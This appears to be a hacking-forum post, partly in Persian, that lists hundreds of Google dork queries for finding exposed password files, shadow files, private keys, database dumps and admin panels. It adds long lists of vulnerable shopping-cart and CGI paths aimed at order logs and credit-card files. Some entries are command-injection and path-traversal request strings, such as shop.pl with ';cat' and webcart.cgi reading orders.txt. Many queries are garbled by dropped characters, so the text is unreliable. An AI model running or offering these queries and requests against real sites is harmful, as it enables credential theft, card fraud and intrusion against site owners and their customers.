passlist

passlist.txt (a better way)

passwd

passwd / etc (reliable)

people.lst

psyBNC config files

pwd.db

signin filetype:url

spwd.db / passwd

trillian.ini

wwwboard WebAdmin inurlasswd.txt wwwboard|webadmin

"# -FrontPage-" extwd inurlservice | authors | administrators | users) "# -FrontPage-"

inurl:service.pwd

"AutoCreate=TRUE password=*"

"http://*:*@www" domainname

"index of/" "ws_ftp.ini" "parent directory"

"liveice configuration file" ext:cfg -site:sourceforge.net

"powered by ducalendar" -site:duware.com

"Powered by Duclassified" -site:duware.com

"Powered by Duclassified" -site:duware.com "DUware All Rights reserved"

"powered by duclassmate" -site:duware.com

"Powered by Dudirectory" -site:duware.com

"powered by dudownload" -site:duware.com

"Powered By Elite Forum Version *.*"

"Powered by Link Department"

"sets mode: +k"

&quot;Powered by DUpaypal&quot; -site:duware.com

allinurl: admin mdb

auth_user_file.txt

config.php

eggdrop filetype:user user

etc (index.of)

ext:ini eudora.ini

ext:ini Version=... password

ext:txt inurl:unattend.txt

filetype:bak inurl:"htaccess|passwd|shadow|htusers"

filetype:cfg mrtg "target

* " -sample -cvs -example 

filetype:cfm "cfapplication name" password

filetype:conf oekakibbs

filetype:conf sc_serv.conf

filetype:conf slapd.conf

filetype:config config intext:appSettings "User ID"

filetype:dat "password.dat"

filetype:dat wand.dat

filetype:inc dbconn

filetype:inc intext:mysql_connect

filetype:inc mysql_connect OR mysql_pconnect

filetype:inf sysprep

filetype:ini inurl:"serv-u.ini"

filetype:ini inurl:flashFXP.ini

filetype:ini ServUDaemon

filetype:ini wcx_ftp

filetype:ini ws_ftp pwd

filetype:ldb admin

filetype:log "See `ipsec copyright"

filetype:log inurl:"password.log"

filetype:mdb inurl:users.mdb

filetype:mdb wwforum

filetype:netrc password

filetypeass pass intext:userid

filetypeem intextrivate

filetyperoperties inurl:db intextassword

filetypewd service

filetypewl pwl

filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"

filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS

filetype:sql ("values * MD" | "values * password" | "values * encrypt")

filetype:sql (&quot;passwd values&quot; | &quot;password values&quot; | &quot;pass values&quot; )

filetype:sql +"IDENTIFIED BY" -cvs

filetype:sql password

filetype:url +inurl:"ftp://" +inurl:";@&quot;

filetype:xls username password email

htpasswd

htpasswd / htgroup

htpasswd / htpasswd.bak

intext:"enable secret $"

intext:"powered by Web Wiz Journal"

intitle:"index of" intext:connect.inc

intitle:"index of" intext:globals.inc

intitle:"Index of" passwords modified

intitle:dupics inurladd.asp | default.asp | view.asp | voting.asp) -site:duware.com

intitle:index.of administrators.pwd

intitle:Index.of etc shadow

intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"

inurl:"GRC.DAT" intext:"password"

inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample

inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample

inurl:"wvdial.conf" intext:"password"

inurl:/db/main.mdb

inurl:/wwwboard

inurl:ccbill filetype:log

inurl:chap-secrets -cvs

inurl:config.php dbuname dbpass

inurl:filezilla.xml -cvs

inurl:lilo.conf filetype:conf password -tatercounter -bootpwd -man

inurl:nuke filetype:sql

inurlspfd.conf intextassword -sample -test -tutorial -download

inurlap-secrets -cvs

inurlerform filetype:ini

inurl:secring ext:skr | extgp | ext:bak

inurl:vtund.conf intextass -cvs

inurl:zebra.conf intextassword -sample -test -tutorial -download

"Generated by phpSystem"

"generated by wwwstat"

"Host Vulnerability Summary Report"

"HTTP_FROM=googlebot" googlebot.com "Server_Software="

"Index of" / "chat/logs"

"Installed Objects Scanner" inurl:default.asp

"Mecury Version" "Infastructure Group"

"Microsoft (R) Windows * (TM) Version * DrWtsn Copyright (C)" ext:log

"Most Submitted Forms and Scripts" "this section"

"Network Vulnerability Assessment Report"

"not for distribution" confidential

"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"

"phpMyAdmin" "running on" inurl:"main.php"

"produced by getstats"

"Request Details" "Control Tree" "Server Variables"

"robots.txt" "Disallow:" filetype:txt

"Running in Child mode"

"sets mode: +p"

"sets mode: +s"

"Thank you for your order" +receipt

"This is a Shareaza Node"

"This report was generated by WebLog"

( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intextassword|subject

(inurl:"robot.txt" | inurl:"robots.txt" ) intext:disallow filetype:txt

+":" +":" +":" filetype:txt

+"HSTSNR" -"netop.com"

-sitehp.net -"The PHP Group" inurl:source inurl:url extHp

FBR "ADOBE PHOTOSHOP"

AIM buddy lists

allinurl:/examples/jsp/snp/snoop.jsp

allinurl:servlet/SnoopServlet

cgiirc.conf

cgiirc.conf

data filetype:mdb -site:gov -site:mil

exported email addresses

ext:asp inurlathto.asp

ext:cgi inurl:editcgi.cgi inurl:file=

ext:conf inurl:rsyncd.conf -cvs -man

ext:conf NoCatAuth -cvs

ext:dat bpk.dat

ext:gho gho

ext:ini intext:env.ini

ext:ldif ldif

ext:log "Software: Microsoft Internet Information Services *.*"

ext:mdb inurl:*.mdb inurl:fpdb shop.mdb

ext:nsf nsf -gov -mil

extqi pqi -database

ext:reg "username=*" putty

ext:txt "Final encryption key"

ext:txt inurl:dxdiag

ext:vmdk vmdk

ext:vmx vmx

filetype:asp DBQ=" * Server.MapPath("*.mdb")

filetype:bkf bkf

filetype:blt "buddylist"

filetype:blt blt +intext:screenname

filetype:cfg auto_inst.cfg

filetype:cnf inurl:_vti_pvt access.cnf

filetype:conf inurl:firewall -intitle:cvs

filetype:config web.config -CVS

filetype:ctt Contact

filetype:ctt ctt messenger

filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"

filetype:fp fp

filetype:fp fp -site:gov -site:mil -"cvs log"

filetype:fp fp

filetype:inf inurl:capolicy.inf

filetype:lic lic intext:key

filetype:log access.log -CVS

filetype:mbx mbx intext:Subject

filetype:myd myd -CVS

filetype:ns ns

filetypera ora

filetypera tnsnames

filetypedb pdb backup (Pilot | Pluckerdb)

filetypehp inurl:index inurlhpicalendar -site:sourceforge.net

filetypeot inurl:john.pot

filetypest inurl:"outlook.pst"

filetypest pst -from -to -date

filetype:qbb qbb

filetype:rdp rdp

filetype:reg "Terminal Server Client"

filetype:vcs vcs

filetype:wab wab

filetype:xls -site:gov inurl:contact

filetype:xls inurl:"email.xls"

Financial spreadsheets: finance.xls

Financial spreadsheets: finances.xls

Ganglia Cluster Reports

haccess.ctl (one way)

haccess.ctl (VERY reliable) 

iletype:log cron.log 

intext:"Session Start * * * *:*:* *" filetype:log 

intext:"Tobias Oetiker" "traffic analysis" 

intextpassword | passcode) intextusername | userid | user) filetype:csv 

intext:gmail invite intext:http://gmail.google.com/gmail/a 

intext:SQLiteManager inurl:main.php 

intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html) 

intitle:"AppServ Open Project" -site:www.appservnetwork.com 

intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "- weppos" 

intitle:"Big Sister" +"OK Attention Trouble" 

intitle:"edna:streaming mp server" -forums 

intitle:"FTP root at" 

intitle:"index of" +myd size 

intitle:"Index Of" -inurl:maillog maillog size 

intitle:"Index Of" cookies.txt size 

intitle:"index of" mysql.conf OR mysql_config 

intitle:"Index of" upload size parent directory 

intitle:"index.of *" admin news.asp configview.asp 

intitle:"index.of" .diz .nfo last modified 

intitle:"Multimon UPS status page" 

intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php ) 

intitle:"PhpMyExplorer" inurl:"index.php" -cvs 

intitle:"statistics of" "advanced web statistics" 

intitle:"System Statistics" +"System and Network Information Center" 

intitle:"Usage Statistics for" "Generated by Webalizer" 

intitle:"wbem" compaq login "Compaq Information Technologies Group" 

intitle:"Web Server Statistics for ****" 

intitle:"web server status" SSH Telnet 

intitle:"welcome.to.squeezebox" 

intitle:admin intitle:login 

intitle:index.of "Apache" "server at" 

intitle:index.of cleanup.log 

intitle:index.of dead.letter 

intitle:index.of inbox 

intitle:index.of inbox dbx 

intitle:index.of ws_ftp.ini 

intitle:intranet inurl:intranet +intext:"phone" 

inurl:"/axs/ax-admin.pl" -script 

inurl:"/cricket/grapher.cgi" 

inurl:"bookmark.htm" 

inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM 

inurl:"newsletter/admin/" 

inurl:"newsletter/admin/" intitle:"newsletter admin" 

inurl:"putty.reg" 

inurl:"smb.conf" intext:"workgroup" filetype:conf conf 

inurl:*db filetype:mdb 

inurl:/_layouts/settings 

inurl:admin filetype:xls 

inurl:admin intitle:login 

inurl:backup filetype:mdb 

inurl:cgi-bin/printenv 

inurl:cgi-bin/testcgi.exe "Please distribute TestCGI" 

inurl:changepassword.asp 

inurl:ds.py 

inurl:email filetype:mdb 

inurl:fcgi-bin/echo 

inurl:forum filetype:mdb 

inurl:forward filetype:forward -cvs 

inurl:getmsg.html intitle:hotmail 

inurl:log.nsf -gov 

inurl:main.php phpMyAdmin 

inurl:main.php Welcome to phpMyAdmin 

inurl:netscape.hst 

inurl:netscape.hst 

inurl:netscape.ini 

inurldbc.ini ext:ini -cvs 

inurlerl/printenv 

inurlhp.ini filetype:ini 

inurlreferences.ini "[emule]" 

inurlrofiles filetype:mdb 

inurl:report "EVEREST Home Edition " 

inurl:server-info "Apache Server Information" 

inurl:server-status "apache" 

inurl:snitz_forums_.mdb 

inurl:ssl.conf filetype:conf 

inurl:tdbin 

inurl:vbstats.php "page generated" 

ipsec.conf 

ipsec.secrets 

ipsec.secrets 

Lotus Domino address books 

mail filetype:csv -site:gov intext:name 

Microsoft Money Data Files 

mt-db-pass.cgi files 

MySQL tabledata dumps 

mystuff.xml - Trillian data files 

OWA Public Folders (direct view) 

Peoples MSN contact lists 

php-addressbook "This is the addressbook for *" -warning 

phpinfo() 

phpMyAdmin dumps 

phpMyAdmin dumps 

private key files (.csr) 

private key files (.key) 

Quicken data files 

robots.txt 

site:edu admin grades 

SQL data dumps 

Squid cache server reports 

Unreal IRCd 

WebLog Referrers 

Welcome to ntop! 

"adding new user" inurl:addnewuser -"there are no domains" 

(inurl:/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ") 

+htpasswd +WS_FTP.LOG filetype:log 

filetypehp HAXPLORER "Server Files Browser" 

intitle:"Web Data Administrator - Login" 

intitle:admin intitle:login 

inurl:"phpOracleAdmin/php" -download -cvs 

inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx 

PHP Shell (unprotected) 

PHPKonsole PHPShell filetypehp -echo 

Public PHP FileManagers 

"Index Of /network" "last modified" 

"index of cgi-bin" 

"index of" / picasa.ini 

"index of" inurl:recycler 

"Index of" rar r nfo Modified 

"intitle:Index.Of /" stats merchant cgi-* etc 

"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" ) 

"Web File Browser" "Use regular expression" 

"Welcome to phpMyAdmin" " Create new database" 

allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/" 

filetype:cfg ks intext:rootpw -sample -test -howto 

filetype:ini Desktop.ini intext:mydocs.dll 

filetype:torrent torrent 

Index of phpMyAdmin 

index.of.dcim 

index.of.password 

index.of.password 

intext:"d.aspx?id" || inurl:"d.aspx?id" 

intext:"Powered By: TotalIndex" intitle:"TotalIndex" 

intitle:"album permissions" "Users who can modify photos" "EVERYBODY" 

intitle:"Directory Listing For" intext:Tomcat -intitle:Tomcat 

intitle:"HFS /" +"HttpFileServer" 

intitle:"Index of *" inurl:"my shared folder" size modified 

intitle:"Index of /CFIDE/" administrator 

intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org 

intitle:"index of" -inurl:htm -inurl:html mp 

intitle:"Index of" cfide 

intitle:"index of" intext:"content.ie" 

intitle:"index of" inurl:ftp (pub | incoming) 

intitle:"index.of.personal" 

intitle:"webadmin - /*" filetypehp directory filename permission 

intitle:index.of (inurl:fileadmin | intitle:fileadmin) 

intitle:index.of /AlbumArt_ 

intitle:index.of /maildir/new/ 

intitle:index.of abyss.conf 

intitle:intranet inurl:intranet +intext:"human resources" 

intitle:upload inurl:upload intext:upload -forum -shop -support -wc 

inurl:/pls/sample/admin_/help/ 

inurl:/tmp 

inurl:backup intitle:index.of inurl:admin 

inurl:explorer.cfm inurldirpath|This_Directory) 

inurl:jee/examples/jsp 

inurljspdemos 

private 

protected 

secret 

secure 

winnt

filetypel -intext:"/usr/bin/perl" inurl:webcal (inurl:webcal | inurl:add | inurl:delete | inurl:config) 

"File Upload Manager v." "rename to" 

"Powered by Land Down Under " 

"powered by YellDL" 

ext:asp "powered by DUForum" inurlmessages|details|login|default|register) -site:duware.com 

ext:asp inurlUgallery intitle:"." -site:dugallery.com -site:duware.com 

ext:cgi inurl:ubb_test 

ezBOO "Administrator Panel" -cvs 

filetype:cgi inurl:cachemgr.cgi 

filetype:cnf my.cnf -cvs -example 

filetype:inc inc intext:setcookie 

filetype:lit lit (books|ebooks) 

filetype:mdb inurl:"news/news" 

filetypehp inurl:"viewfile" -"index.php" -"idfil 

filetype:wsdl wsdl 

Gallery configuration setup files 

intitle:"ASP FileMan" Resend -site:iisworks.com 

intitle:"Directory Listing" "tree view" 

intitle:"Index of /" modified php.exe 

intitle:"PHP Explorer" exthp (inurlhpexplorer.php | inurl:list.php | inurl:browse.php) 

intitle:"phpremoteview" filetypehp "Name, Size, Type, Modify" 

intitle:mywebftp "Please enter your password" 

inurl:" WWWADMIN.PL" intitle:"wwwadmin" 

inurl:"nph-........cgi" "Start browsing through this CGI-based ......." 

inurl:"plog/register.php" 

inurl:cgi.asx?StoreID 

inurl:changepassword.cgi -cvs 

inurl:click.php intext:PHPClickLog 

inurlhp.exe filetype:exe -example.com 

inurl:robpoll.cgi filetype:cgi

اینم دورک های بعدی

کد:
--------------------------------------------------------------------------------

"Index of /admin"

"Index of /password"

"Index of /mail"

"Index of /" +passwd

"Index of /" +password.txt

"Index of /" +.htaccess

index of ftp +.mdb allinurl:/cgi-bin/ +mailto

administrators.pwd.index

authors.pwd.index

service.pwd.index

filetype:config web

gobal.asax index

allintitle: "index of/admin"

allintitle: "index of/root"

allintitle: sensitive filetype:doc

allintitle: restricted filetype :mail

allintitle: restricted filetype:doc site:gov

inurlasswd filetype:txt

inurl:admin filetype:db

inurl:iisadmin

inurl:"auth_user_file.txt"

inurl:"wwwroot/*."

top secret site:mil

confidential site:mil

allinurl: winnt/system32/ (get cmd.exe)

allinurl:/bash_history

intitle:"Index of" .sh_history

intitle:"Index of" .bash_history

intitle:"index of" passwd

intitle:"index of" people.lst

intitle:"index of" pwd.db

intitle:"index of" etc/shadow

intitle:"index of" spwd

intitle:"index of" master.passwd

intitle:"index of" htpasswd

intitle:"index of" members OR accounts

intitle:"index of" user_carts OR user_cart

ALTERNATIVE INPUTS====================

_vti_inf.html

service.pwd

users.pwd

authors.pwd

administrators.pwd

shtml.dll

shtml.exe

fpcount.exe

default.asp

showcode.asp

sendmail.cfm

getFile.cfm

imagemap.exe

test.bat

msadcs.dll

htimage.exe

counter.exe

browser.inc

hello.bat

default.aspdvwssr.dll

cart32.exe

add.exe

index.jsp

SessionServlet

shtml.dll

index.cfm

page.cfm

shtml.exe

web_store.cgi

shop.cgi

upload.asp

default.asp

pbserver.dll

phf

test-cgi

finger

Count.cgi

jj

php.cgi

php

nph-test-cgi

handler

webdist.cgi

webgais

websendmail

faxsurvey

htmlscript

perl.exe

wwwboard.pl

www-sql

view-source

campas

aglimpse

glimpse

man.sh

AT-admin.cgi

AT-generate.cgi

filemail.pl

maillist.pl

info2www

files.pl

bnbform.cgi

survey.cgi

classifieds.cgi

wrap

cgiwrap

edit.pl

perl

names.nsf

webgais

dumpenv.pl

test.cgi

submit.cgi

guestbook.cgi

guestbook.pl

cachemgr.cgi

responder.cgi

perlshop.cgi

query

w3-msql

plusmail

htsearch

infosrch.cgi

publisher

ultraboard.cgi

db.cgi

formmail.cgi

allmanage.pl

ssi

adpassword.txt

redirect.cgi

cvsweb.cgi

login.jsp

dbconnect.inc

admin

htgrep

wais.pl

amadmin.pl

subscribe.pl

news.cgi

auctionweaver.pl

.htpasswd

acid_main.php

access.log

log.htm

log.html

log.txt

logfile

logfile.htm

logfile.html

logfile.txt

logger.html

stat.htm

stats.htm

stats.html

stats.txt

webaccess.htm

wwwstats.html

source.asp

perl

mailto.cgi

YaBB.pl

mailform.pl

cached_feed.cgi

global.cgi

Search.pl

build.cgi

common.php

show

global.inc

ad.cgi

WSFTP.LOG

index.html~

index.php~

index.html.bak

index.php.bak

print.cgi

register.cgi

webdriver

bbs_forum.cgi

mysql.class

sendmail.inc

CrazyWWWBoard.cgi

search.pl

way-board.cgi

webpage.cgi

pwd.dat

adcycle

post-query

help.cgi

/robots.txt

/admin.mdb

/shopping.mdb

/arg;

/stats/styles.css

/statshelp.htm

/favicon.ico

/stats/admin.mdb

/shopdbtest.asp

/cgi-bin/test.cgi

/cgi-bin/test.pl

/cgi-bin/env.cgi

/photos/protest/styles.css

http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi

/cgi-bin/whereami.cgi

/shopping400.mdb

/cgi/test.cgi

/cgi-bin/test2.pl

/photos/protest/kingmarch_02.html

/chevy/index.htm

/cgi-bin/glocation.cgi

/cgi-bin/test2.cgi

/ccbill/glocation.cgi

/cgi-bin/styles.css

/shopping350.mdb

/cgi-bin/shopper.cgi

/shopadmin.asp

/news_2003-02-27.htm

/cgi-bin/whois.cgi

3 /cgi-bin/calendar.pl

3 /cgi-bin/calendar/calendar.pl

3 /cgibin/styles.css

3 /venem.htm

2 /stats/www.newbauersflowers.com/stats/04-refers.htm

2 /cgi-bin/where.pl

2 /cgibin/shopper.cgi&TEMPLATE=ORDER.LOG

2 /cgibin/recon.cgi

2 /cgibin/test.cgi

2 /WebShop/templates/styles.css

2 /stats/shopping350.mdb

2 /cgi-bin/mailform.cgi

2 /cgi-bin/recon.cgi

2 /chevy

2 /cgi-bin/servinfo.cgi

2 /acart2_0.mdb

2 /cgi-bin/where.cgi

2 /chevy/

2 /stats/www.savethemall.net/stats/19-refers.htm

2 /ccbill/secure/ccbill.log

2 /cgi/recon.cgi

2 /stats/www.gregoryflynn.com/chevy

2 /ibill/glocation.cgi

2 /ccbill/whereami.cgi

2 /ibill/whereami.cgi

2 /apps_trial.htm

2 /cgi-bin/lancelot/recon.cgi

2 /cgi-bin/DCShop/Orders/styles.css

1 /cgi-bin/htmanage.cgi

1 /stats/www.tysons.net/stats/05-refers.htm

1 /cgi-bin/mastergate/add.cgi

1 /cgi-bin/openjournal.cgi

1 /cgi-bin/calendar/calendar_admin.pl

1 /cgibin/ibill/count.cgi

1 /cgi-bin/nbmember2.cgi

1 /cgi-bin/mastergate/count.cgi

1 /cgi-bin/mastergate/accountcreate.cgi

1 /cgi-bin/ibill/accountcreate.cgi

1 /cgibin/MasterGate2/count.cgi

1 /cgi-bin/amadmin.pl

1 /cgibin/mailform.cgi

1 /cgibin/mastergate/count.cgi

1 /cgibin/harvestor.cgi

1 /cgibin/igate/count.cgi

1 /WebShop

1 /shopdisplaycategories.asp

1 /cgi-bin/DCShop/Orders/orders.txt

1 /cgi-bill/revshare/joinpage.cgi

1 /stats/www.gregoryflynn.com/stats/19-refers.htm

1 /cgi-local/DCShop/auth_data/styles.css

1 /cgi-bin/add-passwd.cgi

1 /cgi-bin/MasterGate/count.cgi

1 /apps_shop.htm%20/comersus/database/comersus.mdb

1 /data/verotellog.txt

1 /epwd/ws_ftp.log

1 /stats/www.dialacure.com/stats/16-refers.htm

1 /cgi/MasterGate2/count.cgi

1 /jump/rsn.tmus/skybox;sz=140x150;segment=all;resor=jackson;state= WY;sect=home;tile=8;ord=57019

1 /wwii/styles.css

1 /cgi-bin/admin.mdb

1 /stats/www.gregoryflynn.com/stats/31-refers.htm

1 /cgi-bin/ibill-tools/count.cgi

1 /WebShop/templates/cc.txt

1 /cgibin/ibill/accountcreate.cgi

1 /cgi-bin/count.cgi

1 /cgi-local/DCShop/auth_data/auth_user_file.txt

1 /cgi/mastergate/count.cgi

1 /cgi-bin/EuroDebit/addusr.pl

1 /cgi-bin/dbm-passwd.cgi

1 /cgi/igate/accountcreate.cgi

1 /cgi-bin/store/Log_files/your_order.log

store/log_files/your_order.log

/cgi-bin/DCShop/Orders/orders.txt

/vpasp/shopdbtest.asp

/orders/checks.txt

/WebShop/logs

/ccbill/secure/ccbill.log

/scripts/cart32.exe

/cvv2.txt

/cart/shopdbtest.asp

/cgi-win/cart.pl

/shopdbtest.asp

/WebShop/logs/cc.txt

/cgi-local/cart.pl

/PDG_Cart/order.log

/config/datasources/expire.mdb

/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.log%00html

/orders/orders.txt

/cgis/cart.pl

/webcart/carts

/cgi-bin/cart32.exe/cart32clientlist

/cgi/cart.pl

/comersus/database/comersus.mdb

/WebShop/templates/cc.txt

/Admin_files/order.log

/orders/mountain.cfg

/cgi-sys/cart.pl

/scripts/cart.pl

/htbin/cart.pl

/productcart/database/EIPC.mdb

/shoponline/fpdb/shop.mdb

/config/datasources/myorder.mdb

/PDG_Cart/shopper.conf

/shopping/database/metacart.mdb

/bin/cart.pl

/cgi-bin/cart32.ini

/database/comersus.mdb

/cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt

/cgi-bin/store/Admin_files/myorderlog.txt

/cgi-bin/orders.txt

/cgi-bin/store/Admin_files/your_order.log

/test/test.txt

/fpdb/shop.mdb

/cgibin/shop/orders/orders.txt

/shopadmin1.asp

/cgi-bin/shop.cgi

/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi

/cgi-bin/PDG_cart/card.txt

/shopper.cgi?preadd=action&key=PROFA&template=order1.log

/store/shopdbtest.asp

/log_files/your_order.log

/_database/expire.mdb

/HyperStat/stat_what.log

/cgibin/DCShop/auth_data/auth_user_file.txt

/htbin/orders/orders.txt

/SHOP/shopadmin.asp

/index.cgi?page=../admin/files/order.log

/vpshop/shopadmin.asp

/webcart/config

/PDG/order.txt

/cgi-bin/shopper.cgi

/orders/order.log

/orders/db/zzzbizorders.log.html

/easylog/easylog.html

/cgi-bin/store/Log_files/your_order.log

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping400.mdb

/comersus_message.asp?

/orders/import.txt

/htbin/DCShop/auth_data/auth_user_file.txt

/admin/html_lib.pl

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.txt

/cgi-bin/DCShop/auth_data/auth_user_file.txt

/cgi-bin/shop.pl/page=;cat%20shop.pl

/cgi-bin/shopper?search=action&keywords=dhenzuser%20&template=order.log

/HBill/htpasswd

/bin/shop/auth_data/auth_user_file.txt

/cgi-bin/cs/shopdbtest.asp

/mysql/shopping.mdb

/Catalog/config/datasources/Products.mdb

/trafficlog

/cgi/orders/orders.txt

/cgi-local/PDG_Cart/shopper.conf

/store/cgi-bin/Admin_files/expire.mdb

/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=order.log

/derbyteccgi/shopper.cgi?search=action&keywords=moron&template=order.log

/cgi-bin/mc.txt

/cgi-bin/mall2000.cgi

/cgi-win/DCShop/auth_data/auth_user_file.txt

/cgi-bin/shopper.cgi?search=action&keywords=root%20&template=order.log

/store/commerce.cgi

/scripts/shop/orders/orders.txt

/product/shopping350.mdb

/super_stats/access_logs

/cgi-local/orders/orders.txt

/cgi-bin/PDG_Cart/mc.txt

/cgibin/cart32.exe

/cgi-bin/Shopper.exe?search=action&keywords=psiber%20&template=other/risinglogorder.log

/cgibin/password.txt

/Catalog/cart/carttrial.dat

/catalog/Admin/Admin.asp

/ecommerce/admin/user/admin.asp

/data/productcart/database/EIPC.mdb

/store/admin_files/commerce_user_lib.pl

/cgi-bin/store/index.cgi

/paynet.txt

/config/datasources/store/billing.mdb

/_database/shopping350.mdb

/cgi-bin/shopper.exe?search

/cgi/shop.pl/page=;cat%20shop.pl

/cgi-bin/store/Admin_files/orders.txt

/cgi-bin/store/commerce_user_lib.pl

/cgi-sys/pagelog.cgi

/cgi-sys/shop.pl/page=;cat%20shop.pl

/scripts/weblog

/fpdb/shopping400.mdb

/htbin/shop/orders/orders.txt

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=myorder.log

/cgi-bin/shopper.exe?search=action&keywords=psiber&template=order.log

/mall_log_files/

/cgi-bin/perlshop.cgi

/tienda/shopdbtest.asp

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.mdb

/cgi-bin/shopper.cgi?search=action&keywords=whinhall&template=order.log

/WebShop/logs/ck.log

/fpdb/shopping300.mdb

/mysql/store.mdb

/cgi-bin/store/Admin_files/commerce_user_lib.pl

/config.dat

/order/order.log

/commerce_user_lib.pl

/Admin_files/AuthorizeNet_user_lib.pl

/cvv2.asp

/cgi-bin/cart32/CART32-order.txt

/wwwlog

/cool-logs/mlog.html

/cgi-bin/pass/merchant.cgi.log

/cgi-local/pagelog.cgi

/cgi-bin/pagelog.cgi

/cgi-bin/orders/cc.txt

/cgis/shop/orders/orders.txt

/admin/admin_conf.pl

/cgi-bin/pdg_cart/order.log

/cgi/PDG_Cart/order.log

/Admin_files/ccelog.txt

/cgi-bin/orders/mc.txt

/cgi/cart32.exe

/ecommerce/admin/admin.asp

/scripts/DCShop/auth_data/auth_user_file.txt

/Catalog/config/datasources/Expire.mdb

/ecommerce/admin/shopdbtest.asp

/mysql/mystore.mdb

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=shopping.asp

/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log

/cgi-bin/Count.cgi?df=callcard.dat

/logfiles/

/shopping/shopping350.mdb

/admin/configuration.pl

/cgis/DCShop/auth_data/auth_user_file.txt

/cgis/cart32.exe

/cgi-bin/dcshop.cgi

/cgi-win/shop/auth_data/auth_user_file.txt

/shopping400.mdb

/HBill/config

/cgi-bin/shop/index.cgi?page=../admin/files/order.log

/search=action&keywords=GSD%20&template=order.log

/WebCart/orders.txt

/PDG_Cart/authorizenets.txt

/cgi-bin/AnyForm2

/~gcw/cgi-bin/Count.cgi?df=callcard.dat

/cgi-bin/PDG_Cart/order.log

/expire.mdb

/logger/

/webcart-lite/orders/import.txt

/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl

/cgi-bin/PDG_Cart/shopper.conf

/cgi-bin/cart32.exe

/dc/orders/orders.txt

/cgi-local/DCShop/orders/orders.txt

/shop.pl/page=shop.cfg

/cgi-local/cart32.exe

/cgi-win/pagelog.cgi

/cgi-win/shop/orders/orders.txt

/cgibin/shopper.cgi?search=action&keywords=moron&template=order.csv

/cgi-sys/DCShop/auth_data/auth_user_file.txt

/cgi-bin/www-sql;;;

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order.log

/scripts/orders/orders.txt

/cgi-local/shop.pl/shop.cfg

/search=action&keywords=cwtb%20&template=expire.mdb

/php/mylog.phtml

/config/datasources/shopping.mdb

/php-coolfile/action.php?action=edit&file=config.php

/cgi-bin/ezmall2000/mall2000.cgi

/cgi/DCShop/orders/orders.txt

/cgi-local/shop.pl

/cgis/DCShop/orders/orders.txt

/product/shopdbtest.asp

/ASP/cart/database/metacart.mdb

/cgi-bin/cgi-lib.pl

/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html

/search=action&keywords=cwtb%20&template=order.log

/mysql/expire.mdb

/scripts/shop/auth_data/auth_user_file.txt

/cgi-bin/cart32/whatever-OUTPUT.txt

/Shopping%20Cart/shopdbtest.asp

/cgi/shop/auth_data/auth_user_file.txt

/shop/shopping350.mdb

/cgi-bin/store/Authorize_Net.pl

/scripts/DCShop/orders/orders.txt

/store/log_files/commerce_user_lib.pl

/shopping/shopadmin.asp

/cgi-bin/orderlog.txt

/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&amp;amp;NEXTPAGE=;cat%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;

/cool-logs/mylog.html

/cgibin/shop.pl/page=;cat%20shop.pl

/htbin/shop.pl/page=;cat%20shop.pl

/cgi-win/orders/orders.txt

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=order1.txt

/SHOP/shopdbtest.asp

/cgi/pagelog.cgi

/php/mlog.phtml

/cgi-bin/shop/apdproducts.mdb

/htbin/shop/auth_data/auth_user_file.txt

/server%20logfile;;;

/database/metacart.mdb

/cgi-local/shop/orders/orders.txt

کد:
filetype:htpasswd htpasswd 

intitle:"Index of .htpasswd -intitle:"dist -apache -htpasswd.c 

index.of.private (algo privado) 

intitle:index.of master.passwd 

inurl:passlist.txt (para encontrar listas de passwords) 

intitle:"Index of..etc passwd 

intitle:admin intitle:login 

Incorrect syntax near (SQL script error) 

intitle:"the page cannot be found inetmgr (debilidad en IIS4) 

intitle:index.of ws_ftp.ini 

Supplied arguments is not a valid PostgreSQL result (possible debilidad SQL) 

_vti_pvt password intitle:index.of (Frontpage) 

inurl:backup intitle:index.of inurl:admin 

Index of /backup 

index.of.password 

index.of.winnt 

inurl:"auth_user_file.txt 

Index of /admin 

Index of /password 

Index of /mail 

Index of / +passwd 

Index of / +.htaccess 

Index of ftp +.mdb allinurl:/cgi-bin/ +mailto 

allintitle: index of/admin 

allintitle: index of/root 

allintitle: sensitive filetype:doc 

allintitle: restricted filetype :mail 

allintitle: restricted filetype:doc site:gov 

administrator.pwd.index 

authors.pwd.index 

service.pwd.index 

filetype:config web 

gobal.asax index 

inurl:passwd filetype:txt 

inurl:admin filetype:db 

inurl:iisadmin 

inurl:"auth_user_file.txt 

inurl:"wwwroot/*. 

allinurl: winnt/system32/ (get cmd.exe) 

allinurl:/bash_history 

intitle:"Index of .sh_history 

intitle:"Index of .bash_history 

intitle:"Index of passwd 

